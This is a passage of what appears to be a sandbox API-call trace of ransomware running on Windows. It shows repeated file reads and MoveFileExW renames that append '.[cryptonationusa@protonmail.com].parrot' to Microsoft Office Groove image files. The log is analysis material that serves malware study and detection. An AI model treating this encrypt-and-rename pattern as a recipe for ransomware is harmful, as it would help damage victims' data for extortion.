dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.158] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.159] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.160] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c70, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c70, lpOverlapped=0x0) returned 1 [0187.162] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_ContactLowMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_contactlowmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.170] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.170] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.172] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.172] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x480d, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x480d, lpOverlapped=0x0) returned 1 [0187.173] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.174] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHigh.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehigh.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.180] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.180] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.181] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.182] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c6e, lpOverlapped=0x0) returned 1 [0187.182] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.183] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileHighMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_filehighmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.188] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.188] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.227] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.227] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x46de, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x46de, lpOverlapped=0x0) returned 1 [0187.229] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.229] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOff.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoff.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.236] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.236] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.237] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.237] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c6e, lpOverlapped=0x0) returned 1 [0187.238] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.239] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_FileOffMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_fileoffmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.244] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.244] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.246] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.246] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13ca, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x13ca, lpOverlapped=0x0) returned 1 [0187.247] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.247] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_High.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_high.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.254] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.254] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.256] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.256] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c6e, lpOverlapped=0x0) returned 1 [0187.257] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.258] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_HighMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_highmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.264] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.264] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.274] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.274] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x41de, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x41de, lpOverlapped=0x0) returned 1 [0187.276] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.276] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Medium.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_medium.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.282] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.282] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.283] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.284] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c6e, lpOverlapped=0x0) returned 1 [0187.284] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.285] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_MediumMAsk.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_mediummask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.290] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.290] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.292] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.292] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3e78, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3e78, lpOverlapped=0x0) returned 1 [0187.293] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.293] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_Off.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_off.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.299] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.299] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.300] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.300] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1c6e, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1c6e, lpOverlapped=0x0) returned 1 [0187.301] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\AlertImage_OffMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\alertimage_offmask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.307] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.307] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.309] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.309] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2256, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x2256, lpOverlapped=0x0) returned 1 [0187.310] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.311] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.315] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.315] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.317] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.317] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9d8, lpOverlapped=0x0) returned 1 [0187.318] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.318] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMask.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemask.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.322] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.323] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.351] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x630, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x630, lpOverlapped=0x0) returned 1 [0187.351] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageMaskSmall.bmp.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagemasksmall.bmp.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.358] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.358] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.360] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.360] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1de3, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x1de3, lpOverlapped=0x0) returned 1 [0187.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsIncomingImageSmall.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsincomingimagesmall.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.365] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.366] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.367] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.368] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x22c0, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x22c0, lpOverlapped=0x0) returned 1 [0187.368] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.369] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImage.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\commsoutgoingimage.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0187.372] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0187.372] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0187.374] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.374] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9d8, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x9d8, lpOverlapped=0x0) returned 1 [0187.374] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.375] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\CommsOutgoingImageMask.bmp" (normalized: 